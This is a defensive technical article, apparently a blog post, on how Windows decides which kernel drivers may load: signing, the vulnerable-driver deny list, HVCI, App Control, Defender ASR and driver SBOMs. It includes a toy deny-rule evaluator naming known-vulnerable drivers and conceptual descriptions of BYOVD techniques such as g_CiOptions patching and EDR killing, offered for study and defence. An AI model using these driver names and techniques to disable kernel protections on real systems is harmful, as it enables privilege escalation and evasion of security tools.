The same post anchors the EV-certificate publisher requirement and the HLK or attestation gating that produces the block list's inputs in the first place. The reporting centre is the path by which a flagged driver moves from "spotted in research" to "deny rule in the next quarterly XML push".

Defender ASR as the HVCI-off coverage path

There is a third surface worth knowing about. Microsoft's Attack Surface Reduction rules [@ms-asr-rules] include "Block abuse of exploited vulnerable signed drivers" (56a863a9-875e-4185-98a7-b882c64b5ce5) as part of the standard ASR protection set [@ms-asr-rules]. For Microsoft Defender for Endpoint customers on Windows 10 E3 or E5, the rule covers machines where HVCI is not on. Microsoft notes that "the same blocklist is also used by Microsoft Defender Antivirus customers" via the ASR rule [@ms-vdrc-blog]. The path is narrower than HVCI-rooted enforcement -- Defender has to be running, the rule has to be enabled -- but it extends the block list to enterprise environments that have not yet flipped HVCI on.

LOLDrivers and the dual-use externality

The block list is not the only catalogue of vulnerable Windows drivers. The community-maintained LOLDrivers project [@loldrivers-io] -- "Living Off The Land Drivers" -- collects vulnerable, malicious, and known-malicious Windows drivers in one place. Every entry carries YAML metadata and where possible YARA, Sigma, ClamAV, and Sysmon rules, plus a pre-compiled App Control deny policy that can be deployed standalone [@gh-loldrivers] [@loldrivers-io]. As of the source verification for this article, LOLDrivers carried approximately 2,132 driver entries -- considerably more than the Microsoft-shipped list.

Check Point Research called out the dual-use problem in their 2024 piece [@cpr-byovd]: a public catalogue of vulnerable drivers is also a reading list for attackers. The same researchers ran the methodology in reverse: "we conducted a mass hunt for new drivers that may be vulnerable, uncovering thousands of potentially at-risk drivers." [@cpr-byovd] Defenders use the list for hardening; attackers use it for shopping. Both effects are real.

Note: Defenders who can tolerate compatibility risk can compile the source XML from the block-rules page [@ms-driver-block-rules] into an App Control policy and deploy it directly, picking up the entries Microsoft holds back from the in-box list. Optionally layer the LOLDrivers App Control policy [@gh-loldrivers] on top for community-curated coverage. Test in audit mode first -- both lists are more aggressive than the shipped baseline and may flag drivers your environment depends on [@ms-driver-block-rules] [@gh-loldrivers].

A WDAC rule evaluator, in miniature

The semantics of an App Control policy are simple enough to model in a few lines. Deny rules win; allow rules are consulted next; the default action handles whatever is left.

{` // Simplified model of the App Control / WDAC rule-evaluation engine. // Deny rules win, allow rules permit the remainder, and an explicit // default action handles images neither denied nor allowed.

const policy = { denyByHash: new Set(["c1d5cf8c43e7679b782630e93f5e6420ca1749a7"]), // Capcom.sys denyByName: new Set(["RTCore64.sys"]), denyBySigner: new Set(["CN=Some Compromised Publisher, O=Example"]), allowBySigner: new Set(["CN=Microsoft Windows, O=Microsoft Corporation"]), defaultAction: "BLOCK", };

function evaluate(image, policy) { if (policy.denyByHash.has(image.sha1)) return "BLOCK (hash on deny list)"; if (policy.denyByName.has(image.fileName)) return "BLOCK (name on deny list)"; if (policy.denyBySigner.has(image.signer)) return "BLOCK (signer on deny list)"; if (policy.allowBySigner.has(image.signer)) return "ALLOW (signer on allow list)"; return policy.defaultAction === "ALLOW" ? "ALLOW (default)" : "BLOCK (default)"; }

const cases = [ { sha1: "c1d5cf8c43e7679b782630e93f5e6420ca1749a7", fileName: "Capcom.sys", signer: "CN=CAPCOM Co., Ltd." }, { sha1: "0000000000000000000000000000000000000000", fileName: "RTCore64.sys", signer: "CN=Micro-Star International Co., Ltd." }, { sha1: "1111111111111111111111111111111111111111", fileName: "ntfs.sys", signer: "CN=Microsoft Windows, O=Microsoft Corporation" }, ]; for (const c of cases) console.log(c.fileName, "->", evaluate(c, policy)); `}

Naming the weakness is genuinely new. But the list only ever lists what someone has already found. The window between disclosure and enforcement is months, and Microsoft documents that the shipped list is by design weaker than the published one. What gets the rest of the way?

8. The 2026 Stack: Defence in Depth Made Concrete

On a default-configured Windows 11 22H2 machine in 2026, a kernel driver that tries to load passes through five distinct gates. Each one closes a blind spot the previous one cannot reach.

The order matters, and so do the dependencies. The gates are:

Kernel-Mode Code Signing. The Authenticode chain must terminate at a Microsoft-owned root. The chain check rejects unsigned drivers and drivers chained to non-Microsoft roots, except under the documented grandfathering carve-outs [@ms-kmcs-policy] [@ms-kmcs-policy].
The Vulnerable Driver Block List. SKCI consults DriverSiPolicy.p7b for hash, file-name, and signer-level deny rules. The list is default-on for every client device since Windows 11 22H2 [@ms-blogs-win11-2022], and is updated quarterly through Microsoft Learn's published source XML and monthly through Windows servicing [@ms-driver-block-rules] [@ms-blogs-win11-2022].
HVCI / SKCI. The Code Integrity engine runs in VTL1, verifies signatures at section-mapping time rather than only at IoLoadDriver, and enforces W^X on kernel memory. The policy engine is structurally out of reach of a fully compromised VTL0 kernel [@ms-hvci-vbs].
App Control / Smart App Control. Enterprise admins author explicit App Control allowlists; consumer devices on clean Windows 11 installs run Smart App Control [@ms-sac-faq], a Microsoft-authored allowlist policy backed by cloud reputation [@ms-sac-faq] [@ms-appcontrol].
Defender ASR. On Microsoft Defender for Endpoint deployments, the "Block abuse of exploited vulnerable signed drivers" ASR rule extends block-list coverage to HVCI-off environments [@ms-asr-rules].

The Windows 11 22H2+ consumer-facing front end for App Control for Business. SAC enforces a Microsoft-authored policy and supplements it with cloud reputation lookups from the Intelligent Security Graph. SAC is only available on clean installs and is shipped in evaluation mode by default; once turned on, it also unconditionally enforces the vulnerable driver block list [@ms-sac-faq]. The cloud-backed reputation service that Smart App Control consults to predict whether a given binary is safe. When confident, ISG approves the binary; when unconfident, SAC falls back to signature checks; absent both, the binary is blocked [@ms-sac-faq].

Orthogonality, not redundancy

The five gates look redundant from a distance. They are not. Each closes a class of failure the others cannot reach. The orthogonality is the reason for the stack.

Gate	Catches	Misses
KMCS	Unsigned and cross-cert-only-signed drivers	Signed-but-vulnerable drivers
Block list	Known-vulnerable signed drivers (post-disclosure)	Unknown-vulnerable signed drivers
HVCI / SKCI	`g_CiOptions`-patching from VTL0; writable+executable kernel pages	Behavioural BYOVD inside a properly-signed driver
WDAC / SAC	Anything not on the allowlist (enterprise) or unknown-reputation (consumer)	Allowlisted drivers with unknown defects
Defender ASR	Block-list entries on HVCI-off machines (where the rule is enabled)	Drivers not on Microsoft's blocklist

The matrix is the practical justification for the stack. If DriverSiPolicy.p7b had perfect coverage there would be no need for SAC; if SAC had a complete allowlist there would be no need for the block list; if HVCI proved driver safety rather than driver identity there would be no need for either. None of those preconditions hold, and section 9 explains why they cannot.

Smart App Control's particulars

SAC merits a few specifics because its behaviour differs from the rest of the stack in ways that surprise readers. First, it is consumer-facing and only available on clean Windows 11 installs -- an upgrade does not get SAC. Second, SAC ships in evaluation mode by default. Windows watches user behaviour, and if the user mostly runs cloud-reputable software, SAC quietly flips to enforce; if the user runs a lot of niche or self-developed software, SAC quietly flips to off. Third, until a 2024 servicing change [@ms-sac-faq] made SAC re-enableable from Windows Security, turning SAC off used to require a clean install to bring it back [@ms-sac-faq]. Fourth, on enterprise-managed devices, SAC turns itself off automatically after 48 hours; managed environments are expected to deploy WDAC instead [@ms-appcontrol].

The cold-start failure mode is worth knowing. A small independent hardware vendor whose driver has never been seen at scale lacks a cloud reputation when SAC asks about it. The fallback is signature, but a signed driver from an unknown publisher does not always clear SAC's confidence threshold. Small IHVs occasionally find their drivers blocked on consumer hardware running SAC for that reason alone.

flowchart TD A[Driver image requested] --> B[Gate 1: KMCS Authenticode chain] B --> C{"Microsoft-rooted?"} C -- "No" --> X[Refuse] C -- "Yes" --> D[Gate 2: DriverSiPolicy.p7b] D --> E{"On block list?"} E -- "Yes" --> X E -- "No" --> F[Gate 3: HVCI / SKCI section mapping] F --> G{"Signature OK, W^X satisfied?"} G -- "No" --> X G -- "Yes" --> H[Gate 4: App Control / SAC] H --> I{"On allowlist or reputable?"} I -- "No" --> X I -- "Yes" --> J[Gate 5: Defender ASR rule applicable] J --> K[Driver loads into VTL0 kernel]

Verifying what the machine actually does

The state of the stack on any given Windows machine is observable. The Win32_DeviceGuard WMI class exposes a SecurityServicesRunning array whose integer codes name the security services currently active. The aside below covers the practitioner-facing details.

Two commands answer most of the question. From an elevated PowerShell prompt, `Get-CimInstance -Namespace root\Microsoft\Windows\DeviceGuard -ClassName Win32_DeviceGuard` returns a structure whose `SecurityServicesRunning` array enumerates the services in operation; a value of **1** indicates **Credential Guard**, a value of **2** indicates **HVCI / Memory Integrity**, and additional values cover newer services (System Guard Secure Launch, SMM Firmware Measurement, Kernel-mode Hardware-enforced Stack Protection, and Hypervisor-Enforced Paging Translation) [@ms-hvci-vbs]. `bcdedit /enum {default}` shows whether `hypervisorlaunchtype` is set to `Auto`, the prerequisite for VBS being on at all. The block list file itself lives at `%windir%\system32\CodeIntegrity\DriverSiPolicy.p7b`; if it is missing, the in-box list is not deployed on that machine. None of these tell you whether your Defender ASR rule is active without a separate `Get-MpPreference` check.

A toy decoder helps make the WMI surface concrete.

{` // Mirror of the integer codes the Win32_DeviceGuard WMI class reports // for SecurityServicesRunning. Documented on Microsoft Learn under // the Memory Integrity / HVCI guidance.

const SERVICE_NAMES = { 1: "Credential Guard", 2: "Hypervisor-protected Code Integrity (HVCI / Memory Integrity)", 3: "System Guard Secure Launch", 4: "SMM Firmware Measurement", 5: "Kernel-mode Hardware-enforced Stack Protection", 6: "Kernel-mode Hardware-enforced Stack Protection (Audit mode)", 7: "Hypervisor-Enforced Paging Translation", };

function explain(servicesRunning) { if (!servicesRunning.length) { return "No VBS-rooted security services are running on this device."; } return servicesRunning .map((code) => SERVICE_NAMES[code] || ("unknown service " + code)) .map((s) => " - " + s) .join("\n"); }

console.log("Sample 1: HVCI on, Credential Guard on"); console.log(explain([1, 2])); console.log("\nSample 2: nothing running"); console.log(explain([])); console.log("\nSample 3: full stack on a Secured-core PC"); console.log(explain([1, 2, 3, 4, 5])); `}

Five gates is a lot of work to do what one ideal gate could not. The reason for the inflation is uncomfortable: the one ideal gate cannot, in principle, exist.

9. The Undecidability Wall

Why does Windows need five layers to do what one perfect signature ought to do? Because the perfect signature is mathematically impossible.

The third reframe of this article is the one that turns engineering frustration into theoretical inevitability. The property of interest -- "this signed driver, when exercised through its IOCTL surface, can be coerced into giving an attacker an arbitrary kernel-write primitive" -- is a non-trivial semantic property of the driver's program text. Rice's theorem says that for any non-trivial semantic property of programs, the predicate is undecidable on the class of all programs. No algorithm exists that, in finite time, answers correctly for every input.

A useful way to state the bound: if $P$ is the set of all kernel drivers and $\text{Unsafe}(p) = 1$ iff driver $p$ exposes a kernel-write primitive through its IOCTL handler, then no total computable function $f: P \to {0, 1}$ satisfies $f = \text{Unsafe}$. Every approximation either over-blocks ($f(p) = 1$ when $\text{Unsafe}(p) = 0$, false positives, broken drivers) or under-blocks ($f(p) = 0$ when $\text{Unsafe}(p) = 1$, false negatives, BYOVD in the wild). The signing pipeline scans for the obvious cases; sophisticated dynamic analysers will catch more of the not-obvious cases; but the unrestricted version of the problem has no complete solution.

Key idea: Whether an arbitrary signed driver can be coerced into giving an attacker a kernel-write primitive is undecidable. No static signing scheme can ever block exactly the unsafe drivers. The Windows answer is therefore not a single perfect gate; it is defence in depth that narrows, but does not close, the gap.

Microsoft's formal acknowledgement

Microsoft has been formally clear about a related point for years: the administrator-to-kernel transition is not, in the MSRC servicing-criteria [@elastic-admin] sense, a security boundary [@elastic-admin]. Elastic Security Labs put the position in plain English: "the blocklist's deployment model can be slow to adapt to new threats, with updates automatically deployed typically only once or twice a year. Users can manually update their blocklists, but such interventions bring us out of 'secure by default' territory ... When determining which vulnerabilities to fix, the Microsoft Security Response Center (MSRC) uses the concept of a security boundary." [@elastic-admin]

Administrator-to-kernel is not a security boundary, in the MSRC servicing-criteria sense. The defence-in-depth mechanisms described here mitigate it; from the impossibility result, none can close it.

The MSRC framing is engineering policy. The undecidability result is theoretical inevitability. They land in the same place: an attacker who has administrator privilege, who can pick from the entire history of signed Windows drivers, who is patient, is not stopped by any number of signature checks. The defence-in-depth mechanisms make the attacker work harder; they raise the cost; they shrink the surface of viable signed drivers. They do not close the structural gap.

Closeable gaps and irreducible gaps

It is worth separating two kinds of gap.

The published-vs-shipped block list gap is a policy decision, not an engineering limit. Microsoft documents that "it's often necessary for us to hold back some blocks to avoid breaking existing functionality." [@ms-driver-block-rules]The published-vs-shipped gap is the closeable part. An administrator who can author or import an App Control policy can deploy the published XML directly and pick up Microsoft's full curation. The irreducible part of the gap sits behind it: even the published list lists only what someone has already disclosed. The undecidability result applies to finding unsafe drivers, not to listing known-unsafe ones. Defenders willing to accept compatibility risk can close it on their own machines today.

The gap that cannot close is the one between the published list and the universe of vulnerable drivers Microsoft has not yet learned about. That is where the undecidability result bites. No amount of pipeline tightening eliminates the class of design flaws whose recognition requires understanding what the driver's IOCTL handler will do under all possible inputs.

What static methods can achieve

Quantifying what the existing layers achieve is more useful than lamenting what they cannot. The complexity bounds for each layer are well-defined.

Authenticode signature verification is bounded below by one public-key operation and one cryptographic hash over the PE image, regardless of policy. SKCI's per-section cost is dominated by that constant. The Memory Integrity page is conspicuously silent on a published benchmark number; in practice the overhead is small but non-zero on Intel Kabylake-and-later or AMD Zen-2-and-later silicon with MBEC/GMET hardware acceleration, and meaningfully higher on the emulated Restricted-User-Mode fallback path that older silicon falls back to [@ms-hvci-vbs].

WDAC allowlist evaluation is $O(\log r)$ per image on $r$ rules with a hashed index, or $O(r)$ on the naïve linear scan; the deny-rule check in DriverSiPolicy.p7b follows the same bound.

The gap between achievable static enforcement and the ideal "block all and only the unsafe drivers" is, in the limit, irreducible.

Three axes that can be improved

If the gap cannot close, it can be narrowed along three independent axes -- and the improvements that matter, look like one of these:

Reactiveness. The disclosure-to-enforcement latency is months today. Forthcoming WHCP submission-time analyses can compress it.
Coverage of unknown-bad signed drivers. Reputation, allowlists, and dynamic analysis at scale extend coverage beyond what a static deny list lists.
Visibility into binary contents. SBOMs answer "what is inside this driver?" -- a question the signature alone never asked.

Each axis is the answer to a different blind spot. None substitutes for another. Section 11 returns to the SBOM axis specifically because it is the one Microsoft is building into the submission flow right now.

Static signing has hit a wall it cannot push through. The only way forward is to widen the question. Two of the answers exist on other operating systems. The third is being built now.

10. The Other Two Operating Systems

Linux solved the signing half and pushed the curated-denylist half down to distribution vendors. macOS solved both by making third-party drivers stop being drivers.

Linux: signatures without a curated denylist

Linux has supported in-kernel module signing since version 3.7 (December 2012), under the configuration symbol CONFIG_MODULE_SIG. The kernel documentation [@docs-kernel-module-sig] catalogues the supported algorithms: "The built-in facility currently only supports the RSA, NIST P-384 ECDSA and NIST FIPS-204 ML-DSA public key signing standards." [@docs-kernel-module-sig] The choice of signature scheme is a build-time decision, and the kernel can be told to use a key embedded in the kernel image, a key loaded into the trusted keyring at runtime, or a Machine Owner Key managed by shim and the platform's UEFI boot stack.

The structural decision that matters is the enforcement mode. CONFIG_MODULE_SIG_FORCE is the toggle. The kernel documentation describes the two settings cleanly: "If this is off (ie. 'permissive'), then modules for which the key is not available and modules that are unsigned are permitted, but the kernel will be marked as being tainted ... If this is on (ie. 'restrictive'), only modules that have a valid signature that can be verified by a public key in the kernel's possession will be loaded." [@docs-kernel-module-sig]

Most mainstream distributions ship permissive: unsigned modules taint the kernel but load. The defender-shipping-restrictive-enforcement model is real on Secure-Boot-on RHEL and modern Ubuntu, paired with the Linux lockdown security module, which restricts certain root-level kernel-modification paths even on signed builds.The Linux lockdown LSM is the closest mainline-Linux analogue to HVCI's policy-out-of-reach property. The kernel_lockdown(7) man page [@man7-kernel-lockdown] describes lockdown as "designed to prevent both direct and indirect access to a running kernel image" and enumerates the restricted surfaces: /dev/mem, /dev/kmem, /dev/kcore, kprobes, BPF, MSR alteration, ACPI table overrides, and unsigned kexec [@man7-kernel-lockdown]. It is a partial analogue, not equivalent: lockdown still runs in the same trust domain as the kernel it polices, so a sufficient kernel exploit defeats it. HVCI's VTL0/VTL1 split is structurally stronger.

What Linux does not have is the equivalent of DriverSiPolicy.p7b. There is no kernel-level curated denylist of "we have learned this module is unsafe; refuse to load it by name". Defenders rely on per-distribution CVE trackers, on modprobe.blacklist, and on udev rules to keep specific modules out. The G5 generation -- naming the weakness rather than the publisher -- has no mainline Linux equivalent at the kernel-loader level.

macOS: DriverKit removes the surface

Apple's answer is structurally different. Starting with macOS Catalina 10.15 [@apple-legacy-extensions] in 2019, Apple deprecated legacy kernel extensions for third parties and pushed them onto the DriverKit [@apple-driverkit] framework instead [@apple-legacy-extensions] [@apple-driverkit].

Apple's user-space driver framework, introduced with macOS Catalina 10.15. Third-party drivers ship as `.dext` user-space extensions linked against a curated IOKit subset; they receive IOKit messages from the kernel and respond with the same operations they used to perform in ring zero, but the code itself runs in user mode under sandbox restrictions. The kernel side of the new model exposes a controlled message surface; the third-party side cannot directly execute kernel code.

A .dext runs in user space under a sandbox profile. It can claim devices, register for IOKit interrupts, and exchange messages with kernel-side broker code -- but it cannot, in any usable sense, execute arbitrary code in the kernel address space. The Capcom.sys class of vulnerability cannot be expressed in DriverKit: there is no IOCTL surface whose handler runs in ring zero, because the handler does not run in ring zero. Apple reinforces the boundary further with System Integrity Protection [@apple-sip] (since 2015) and, on Apple Silicon, Kernel Integrity Protection (KIP), which makes the kernel page tables read-only after boot [@apple-sip].

The price was paid by Apple's IHV community. Whole categories of third-party drivers -- deep audio, virtualisation, certain security tools -- spent years migrating, and some categories took multiple macOS releases before a DriverKit equivalent of a particular kext capability existed. Apple Silicon requires explicit reduced-security mode to load any legacy kext at all: Apple's Platform Security guide [@apple-kext-aux] records that "Kexts must be explicitly enabled for a Mac with Apple silicon by holding the power button at startup to enter into One True Recovery (1TR) mode, then downgrading to Reduced Security and checking the box to enable kernel extensions" [@apple-kext-aux].

Why Windows cannot copy Apple

The reason Windows cannot make Apple's move in the short term is operational, not architectural. Windows' IHV installed base is orders of magnitude larger and less centrally controlled. Microsoft does not own its hardware vendors the way Apple owns Macs. Breaking compatibility with twenty years of shipped kernel drivers would impose unbounded migration cost on third parties Microsoft cannot direct.

Dimension	Windows (2026)	Linux (mainline + RHEL-class hardening)	macOS (Catalina+ / Apple Silicon)
Default signature enforcement	Mandatory on x64 since 2006	Permissive (taints kernel); restrictive on hardened distros	Mandatory; legacy kexts deprecated
Curated denylist of signed-but-vulnerable artefacts	`DriverSiPolicy.p7b`, default-on since 22H2	None at kernel loader; per-distro CVE trackers	Not needed -- third-party kexts removed
Policy engine isolated from kernel it polices	HVCI in VTL1	Lockdown LSM (same trust domain)	KIP and SIP on Apple Silicon
Third-party drivers in kernel	Yes, still the model	Yes	No -- DriverKit user-space dexts
Operational price of the model	Compatibility carve-outs, opt-outs	Permissive default	Multi-year IHV migration

Windows cannot move drivers to user space at Apple's speed. But it can look at what is inside a driver in a way the signature alone never could. And it has been quietly building that capability since 2022.

11. What Comes Next: SBOM, Artifact Signing, Dynamic Analysis

If signatures cannot answer "is this driver safe", and the block list can only ever answer "is this driver known-unsafe", the next question Windows has to learn how to ask is "what is inside this driver?"

SBOM for drivers

A Software Bill of Materials is a structured inventory of the components, dependencies, and versions inside a software artefact. The mainstream community formats are SPDX (now at version 3.0) and CycloneDX; Microsoft contributes to and ships an open-source tool, microsoft/sbom-tool [@gh-sbom-tool], that produces SPDX-compatible SBOMs as part of a build pipeline [@gh-sbom-tool]. The repository description is plain: "The SBOM tool is a highly scalable and enterprise ready tool to create SPDX 2.2 and SPDX 3.0 compatible SBOMs for any variety of artifacts. The tool uses the Component Detection libraries to detect components and the ClearlyDefined API to populate license information for these components." [@gh-sbom-tool]

A machine-readable inventory of components and dependencies inside a software artefact. For a Windows kernel driver, an SBOM lists the third-party static libraries linked into the PE, the open-source code paths bundled with the driver, and the versions of each, in a format (SPDX, CycloneDX) that automated tools can consume to answer "is any component of this driver subject to a known vulnerability?"

The piece that affects Windows drivers specifically is the Windows Hardware Compatibility Program SBOM requirement. The Microsoft Q&A entry on Hardware Dev Center and CRA compliance [@ms-qa-cra] is candid: "The WHCP SBOM requirement (Device.DevFund.Security.SoftwareBillofMaterials) has been deferred and will only be enforced starting in H2 2026." [@ms-qa-cra] The deferral aligns the WHCP rollout with the European Union's Cyber Resilience Act compliance window.

The EU Cyber Resilience Act sets phased compliance obligations for products with digital elements sold into the EU market. Among them is a requirement to produce a machine-readable SBOM that customers and regulators can inspect. Microsoft's WHCP SBOM mandate, scheduled for H2 2026, is the Windows-specific implementation of the same requirement, applied to kernel drivers submitted through the Hardware Dev Center. For regulated-industry IHVs, the WHCP gate and the CRA gate land at the same time and concern the same artefact [@ms-qa-cra].

There is a structural problem an SBOM does not solve on its own. If the SBOM ships separately from the driver, an attacker who controls the distribution path can substitute a clean-looking SBOM for a contaminated driver. The WHCP submission flow is expected to bind the SBOM cryptographically to the artefact it describes so that a recipient can verify the binding, but the public documentation for the binding mechanism is still light beyond the WHCP SBOM mandate itself [@ms-qa-cra] [@ms-qa-cra].

Dynamic analysis at submission time

The other axis of improvement is reactiveness. Today, the typical disclosure-to-enforcement cycle for a new BYOVD driver looks like this: vendor ships, attacker exploits, researcher discloses, Microsoft adds to the quarterly published list, Windows servicing pushes to clients. The latency is months. Two recent research programmes show how dynamic analysis at scale can compress it.

The first is the EURECOM/Politecnico di Milano NDSS 2026 paper on the authors' publication page [@eurecom-paper]. The team built a DRAKVUF-based instrumentation layer called Kernelmon and traced every kernel function executed by signed drivers under malware-loaded workloads [@eurecom-paper]. The numbers are unusually concrete: the paper PDF [@eurecom-paper-pdf] reports that the team "analyzed 8,779 malware samples that load 773 distinct signed drivers. It flagged suspicious behavior in 48 drivers, and subsequent manual verification led to the responsible disclosure of seven previously unknown vulnerable drivers" [@eurecom-paper-pdf]. The companion S3 blog post [@eurecom-s3-blog] corroborates the 48-flagged / 7-disclosed numbers and notes that one of the seven received CVE-2024-26506 [@eurecom-s3-blog]. The technique is dynamic: it runs the driver under a hypervisor, watches what its IOCTL handlers actually do, and flags patterns characteristic of the BYOVD class.

The second is Check Point Research's 2024 work [@cpr-byovd], which built a mass-hunt methodology around import-table signatures of risky kernel APIs and ran it across the global driver corpus. "Using the same methodology, we conducted a mass hunt for new drivers that may be vulnerable, uncovering thousands of potentially at-risk drivers." [@cpr-byovd] The technique is static: it asks what does the driver import? rather than what does it do under exercise? Combined, the two approaches cover complementary halves of the surface.

Neither currently gates Hardware Dev Center submissions. Both are candidates for the kind of submission-time check that would compress disclosure-to-enforcement latency from quarters to days.

Empirical patterns the defences have to recognise

Cisco Talos's BYOVD work, summarised in their Exploring vulnerable Windows drivers post [@talos-byovd], classifies the post-load payloads attackers actually run [@talos-byovd]. Three behaviour classes dominate: token-swap escalation that overwrites the access token in the _EPROCESS structure to reach SYSTEM; unsigned-code-loading that uses the kernel-write primitive to disable DSE or patch CI state; and EDR-killing that clears the kernel callback registrations endpoint detection products rely on. Each is a target for the dynamic analyses above, each is detectable by import-table heuristics, and each is what defenders see in the wild today.

The historical roots are old. The Microsoft Security blog tracing the Vulnerable & Malicious Driver Reporting Center is direct: "Multiple malware attacks, including RobinHood, Uroburos, Derusbi, GrayFish, and Sauron, have leveraged driver vulnerabilities (for example CVE-2008-3431, CVE-2013-3956, CVE-2009-0824, and CVE-2010-1592)." [@ms-vdrc-blog] The payload classes have stayed remarkably stable for fifteen years.

Note: The structural gap between signed and safe cannot close. It can be narrowed along three independent axes. Reactiveness: how long disclosure-to-enforcement takes (closeable by submission-time dynamic analysis along the lines of the EURECOM NDSS 2026 paper [@eurecom-paper] [@eurecom-paper] and Check Point's mass-hunt methodology [@cpr-byovd] [@cpr-byovd]). Coverage of unknown-bad signed drivers (extended by reputation-backed allowlists like Smart App Control and by WDAC enterprise policies). Visibility into binary contents (the H2 2026 WHCP SBOM mandate [@ms-qa-cra] and the SBOM-to-artefact binding the submission flow is expected to enforce [@ms-qa-cra]). Each axis closes a different blind spot. None substitutes for another.

Threats the stack cannot yet absorb

Three problems remain open and uncovered by the published roadmap. The Smart App Control cold-start window leaves small IHVs whose drivers have no cloud reputation to fall through to signature, and signature alone is exactly what we already established does not answer the question. BYOVD on HVCI-off environments, prevalent in older anti-cheat configurations and on enterprise machines with legacy ISV drivers, still admits the g_CiOptions-patching family from VTL0 because there is no VTL1 to keep the policy out of reach. And the shipped-vs-published block list gap, while operationally rational and individually closeable by a willing administrator, is a gap any default-on customer carries.

None of those closes by algorithmic improvement. Each closes only by widening the question.

What started as a yes/no signature check has become a continually expanding set of questions Windows asks before it will hand a driver the keys to ring zero. None of those questions is sufficient. All of them are necessary. And the next one is already being written into the WHCP submission flow.

12. What This Means in Practice

Three audiences, three things to do.

Administrators. Confirm the stack is on. Get-CimInstance -Namespace root\Microsoft\Windows\DeviceGuard -ClassName Win32_DeviceGuard returns a SecurityServicesRunning array; a 2 in the array confirms HVCI. A DriverSiPolicy.p7b in %windir%\system32\CodeIntegrity\ confirms the in-box block list is deployed. If you can tolerate the compatibility risk, compile the published block-rules XML [@ms-driver-block-rules] into an App Control policy and deploy it (audit mode first) [@ms-driver-block-rules]. If you run Windows Server 2016, you have to deploy an explicit policy yourself because the in-box default does not apply there [@ms-driver-block-rules]. If you ship through the Hardware Dev Center, schedule the H2 2026 WHCP SBOM gate now [@ms-qa-cra]. Subscribe to the Vulnerable & Malicious Driver Reporting Center cadence for new disclosures [@ms-vdrc-blog].

Driver authors. Assume your IOCTL surface will be read by Check Point's import-table mass hunt [@cpr-byovd] and exercised by EURECOM's Kernelmon [@eurecom-paper] [@cpr-byovd] [@eurecom-paper]. Any handler that takes a user-supplied address and returns kernel data, or that dispatches a user-supplied function pointer, will end up on a block list on its current trajectory.

Researchers. The field is wide open. The undecidability result is real, but the practical gap between what current analyses detect and what is, in principle, detectable for any specific vulnerability class is large. The NDSS 2026 paper found seven CVE-worthy drivers in a corpus of 773. The next paper will find more.

Every layer is somebody's incident report

Every layer in the 2026 stack exists because the previous one lost to a named adversary. Sony BMG XCP retired advisory signing. Stuxnet retired the assumption that a valid chain is a safe chain. Capcom.sys retired the assumption that a safe chain is a safe driver. RTCore64.sys, gdrv.sys, and KProcessHacker retired the assumption that the BYOVD class would burn itself out. Each entry on DriverSiPolicy.p7b is somebody's incident report, recorded in the most permanent place Microsoft can put it -- the kernel loader's deny list.

Note: Windows 11 22H2 ships with a list of drivers Microsoft will not load. The next list will be longer. The story has been adversarial since 1996 and the trajectory does not reverse: every layer was added because the previous one met an attacker. The structural gap is undecidable; the engineering gap, narrowable; the work, unfinished.

Frequently Asked Questions

No. HVCI verifies the Authenticode signature at section-mapping time and enforces a write-xor-execute invariant on kernel memory; it does not analyse the driver's IOCTL surface. A signed driver with an unsafe IOCTL passes HVCI unchanged and proceeds to execute its handler in kernel mode with kernel privilege. That is what the Vulnerable Driver Block List is for: HVCI gates *who decides*; the block list gates *what gets decided*. See the Memory Integrity page [@ms-hvci-vbs] [@ms-hvci-vbs]. Yes. Microsoft publishes the source XML on the Microsoft-recommended driver block rules page [@ms-driver-block-rules] [@ms-driver-block-rules]. You can compile it into a binary App Control policy with the standard tooling and deploy it directly, picking up entries Microsoft holds back from the in-box list. Test in audit mode first because the published list is more inclusive than the shipped list and may flag drivers your environment depends on. Many defenders layer the LOLDrivers App Control policy [@gh-loldrivers] on top for community-curated coverage [@gh-loldrivers]. Windows Server 2016 does not enforce the block list by default, even when Memory Integrity is on. The block-rules page [@ms-driver-block-rules] calls this out explicitly [@ms-driver-block-rules]. If you administer Server 2016, deploy an explicit App Control policy to get the same coverage as the default-on 22H2 client. App Control for Business (the engine formerly known as WDAC) is a policy *you* author. You define what signers, hashes, and paths are allowed; you ship and enforce the policy yourself. Smart App Control is a Microsoft-authored policy bundled with cloud reputation lookups via the Intelligent Security Graph. SAC is the consumer-friendly front end; App Control is the enterprise back end. SAC's default policy ships at `%windir%\schemas\CodeIntegrity\ExamplePolicies\SmartAppControl.xml`. SAC is consumer-only and turns itself off after 48 hours on enterprise-managed devices, where the expectation is that the operator deploys an App Control policy directly. See the Smart App Control FAQ [@ms-sac-faq] and the App Control for Business overview [@ms-appcontrol] [@ms-sac-faq] [@ms-appcontrol]. Increasingly yes. Major anti-cheat vendors have shipped HVCI-compatible kernel components since around 2023, but a meaningful tail of older configurations still requires HVCI off. On those configurations, the `g_CiOptions`-patching technique TrustedSec describes [@trustedsec-gcioptions] is back in play because the policy variable is no longer protected behind VTL1 [@trustedsec-gcioptions]. Audit your gaming-rig population if you care about coverage. The in-box block list is Microsoft-curated with explicit compatibility holdbacks; the LOLDrivers catalogue [@loldrivers-io] is community-curated, considerably more inclusive (approximately 2,132 entries as of the source verification for this article), and ships with App Control deny policies, Sigma, YARA, ClamAV, and Sysmon detection content alongside the entries [@loldrivers-io] [@gh-loldrivers]. For threat hunting, use both. For enforcement, layer the LOLDrivers App Control policy on top of the in-box list if your environment can tolerate the compatibility risk. Check Point Research [@cpr-byovd] has documented the dual-use externality of any such public list -- attackers also read them -- but the defender net benefit of broader coverage outweighs the marginal attacker advantage on most environments [@cpr-byovd].

WDAC + HVCI: Code Integrity at Every Layer in Windows

noreply@paragmali.com (Parag Mali) — Mon, 11 May 2026 00:00:00 GMT

**Windows enforces "which code is allowed to run" through two coupled primitives.** WDAC is an XML-schema policy that the in-kernel `CI.dll` evaluates at every PE load. HVCI is the hypervisor-rooted check that runs `SkCi.dll` inside Virtual Trust Level 1, where the VTL0 kernel cannot reach it. Together they form the runtime enforcement loop on top of the App Identity primitives, and together they refuse the 8-microsecond signed-driver load that opens this article. This piece walks the policy schema, the audit-to-enforce migration discipline, the per-VTL SLAT state machine, the Vulnerable Driver Block List, and the residual attack surface (return-oriented programming, signed living-off-the-land binaries, hypervisor rollback) that the loop cannot close.

1. Signed Code Still Isn't Trusted Code

